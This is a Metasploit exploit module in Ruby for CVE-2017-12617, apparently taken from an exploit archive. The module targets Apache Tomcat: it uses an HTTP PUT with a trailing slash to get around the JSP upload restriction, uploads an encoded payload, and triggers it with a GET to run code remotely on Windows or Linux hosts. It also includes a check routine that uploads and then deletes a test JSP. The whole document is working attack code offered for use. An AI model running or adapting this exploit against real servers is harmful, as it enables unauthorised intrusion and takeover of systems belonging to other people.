Tomcat JSP Upload Bypass Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tomcat RCE via JSP Upload Bypass',  
'Description' => %q{  
This module uploads a jsp payload and executes it.  
},  
'Author' => 'peewpw',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-12617' ],  
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],  
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]  
],  
'Privileged' => false,  
'Platform' => %w{ linux win }, # others?  
'Targets' =>  
[  
[ 'Automatic',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'win'  
}  
],  
[ 'Java Windows',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'win'  
}  
],  
[ 'Java Linux',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'linux'  
}  
]  
],  
'DisclosureDate' => 'Oct 03 2017',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),  
Opt::RPORT(8080)  
])  
end  
  
def check  
testurl = Rex::Text::rand_text_alpha(10)  
testcontent = Rex::Text::rand_text_alpha(10)  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'PUT',  
'data' => "<% out.println(\"#{testcontent}\");%>"  
})  
  
res1 = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),  
'method' => 'GET'  
})  
  
if res1 && res1.body.include?(testcontent)  
send_request_cgi(  
opts = {  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'DELETE'  
},  
timeout = 1  
)  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Uploading payload...")  
testurl = Rex::Text::rand_text_alpha(10)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'PUT',  
'data' => payload.encoded  
})  
if res && res.code == 201  
res1 = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),  
'method' => 'GET'  
})  
if res1 && res1.code == 200  
print_status("Payload executed!")  
else  
fail_with(Failure::PayloadFailed, "Failed to execute the payload")  
end  
else  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")  
end  
end  
  
end  
`